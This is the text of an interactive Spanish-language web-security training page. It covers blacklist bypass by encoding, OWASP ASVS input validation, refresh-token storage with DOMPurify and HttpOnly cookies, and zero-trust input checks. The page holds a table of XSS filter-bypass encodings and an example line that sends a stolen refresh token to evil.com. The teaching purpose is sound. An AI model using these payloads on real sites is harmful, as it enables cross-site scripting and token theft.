① Ataques de Encoding — Bypass de Listas Negras
Un atacante envía payloads con codificación Unicode, doble encoding o variantes para eludir filtros basados en listas negras.
Panel del Atacante
ATTACKERDefensa Deficiente — Lista Negra
VULNERABLESolo bloquea patrones exactos conocidos.
// ❌ Defensa débil: lista negra de palabras
const blacklist = [
"<script", "javascript:",
"onerror", "onload",
"alert(", "eval("
];
// ⚠️ No decodifica antes de comparar
Bitácora del Ataque
Comparativa — Lista Negra vs Validación Estricta ASVS
| Técnica | Lista Negra (❌ débil) | Validación Estricta (✅ ASVS) | Razón |
|---|---|---|---|
<script> | PASA ❌ | BLOQUEADO ✅ | Unicode no decodificado antes de comparar |
%253Cscript%253E | PASA ❌ | BLOQUEADO ✅ | Doble encoding produce %3C en primera pasada |
<script> | PASA ❌ | BLOQUEADO ✅ | HTML entity no está en lista negra literal |
animaTE onbegin | PASA ❌ | BLOQUEADO ✅ | Atributo SVG no en blacklist, pero falla allowlist |
scri%00pt | PASA ❌ | BLOQUEADO ✅ | Null byte fragmenta cadena en algunos parsers |
② Contrato de Validación ASVS V5.1.1
El servidor valida cada entrada contra un contrato explícito. Elige un contexto real o edita tu propio contrato JSON. Basado en OWASP ASVS V5.
Contrato del Servidor
ASVS V5.1.1Validador ASVS
DEFENSA FUERTE// Validación estricta servidor (Node.js)
function strictValidate(input, contract) {
let decoded = fullDecode(input);
decoded = decoded.normalize('NFC');
if (decoded.includes('\x00')) throw Error('NULL_BYTE');
const rx = new RegExp(contract.rules.pattern);
if (!rx.test(decoded)) throw Error('PATTERN_FAIL');
return decoded;
}
Requisitos ASVS V5.1 — Validación de Entradas
| # | Requisito ASVS | Nivel | Estado |
|---|---|---|---|
| V5.1.1 | Protección contra HTTP parameter pollution | L1 | ✅ Implementado |
| V5.1.2 | Framework protege contra mass assignment | L1 | ✅ Simulado |
| V5.1.3 | Toda entrada validada contra allowlist | L1 | ✅ Contrato JSON |
| V5.1.4 | Datos estructurados fuertemente tipados | L1 | ✅ Schema validation |
| V5.2.1 | Toda salida HTML sanitizada | L1 | ✅ Sección 3 |
| V5.3.1 | Output encoding contextual | L1 | ✅ Simulado |
③ Refresh Token en LocalStorage + DOMPurify
Simulamos cómo un atacante explota un Refresh Token en localStorage mediante XSS, y aplicamos DOMPurify como defensa.
Escenario Vulnerable
PELIGRO// ❌ MAL: token sensible en localStorage
localStorage.setItem('refresh_token', token);
// XSS puede ejecutar:
const stolen = localStorage.getItem('refresh_token');
fetch('https://evil.com?t='+stolen);
Solución — DOMPurify + HttpOnly Cookie
SEGUROHttpOnly; Secure; SameSite=Strict — inaccesible desde JS.// ✅ BIEN: HttpOnly cookie (servidor)
res.cookie('refresh_token', token, {
httpOnly: true,
secure: true,
sameSite: 'Strict'
});
// ✅ DOMPurify elimina XSS
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b','i','em','strong','p'],
ALLOWED_ATTR: [],
FORBID_ATTR: ['onerror','onload']
});
Ciclo de Vida Seguro del Refresh Token
| Almacenamiento | Accesible por JS | Sobrevive a XSS | Recomendado para |
|---|---|---|---|
localStorage | SÍ ❌ | NO ❌ | Nada sensible |
sessionStorage | SÍ ❌ | NO ❌ | Estado temporal no sensible |
| Memoria JS (var) | SÍ | NO ❌ | Access Token (vida corta) |
| Cookie HttpOnly | NO ✅ | SÍ ✅ | Refresh Token |
④ Zero-Trust en Request e Input
Zero-Trust: nunca confíes, siempre verifica. Cada request pasa por múltiples capas independientemente de su origen.
Arquitectura Zero-Trust (simulada)
Constructor de Request
Resultado Zero-Trust
Envía un request para ver la validación.
Principios Zero-Trust en Inputs
Ningún input se considera seguro por su origen. Interno, externo, microservicio — todos pasan el mismo proceso.
Cada campo se verifica contra un contrato explícito: tipo, longitud, formato, encoding.
Solo se aceptan los campos declarados. Campos extra son rechazados (previene mass assignment).
⑤ Contratos de Esquema y Validación de Input
Un contrato de esquema define la forma exacta que debe tener un dato. Diseña el tuyo con opciones predefinidas.
¿Qué es un Contrato de Esquema?
Esquema vs Contrato de Validación
| Aspecto | Contrato de Esquema | Contrato de Validación |
|---|---|---|
| ¿Qué define? | Estructura y tipos | Reglas de negocio |
| Ejemplo | age: integer | age ≥ 18 AND ≤ 120 |
| Tecnología | JSON Schema, Zod, Yup | Custom validators, ASVS |
| Error si falla | 400 Bad Request | 422 Unprocessable |
Constructor de Contrato
INTERACTIVOAñade campos con opciones predefinidas. Cada campo genera validación ASVS automática.
⑥ ASVS Nivel 2 — Simulación Completa
ASVS Nivel 2 es para aplicaciones que manejan datos sensibles. Verifica que tu aplicación cumple los controles clave.
Progreso de Cumplimiento ASVS L2
V1 — Arquitectura & Diseño
L2V2 — Autenticación
L2V3 — Gestión de Sesión
L2V4 — Control de Acceso
L2V5 — Validación de Entradas
L2V7 — Logging & Monitoreo
L2Reporte de Cumplimiento
Marca los controles para generar el reporte.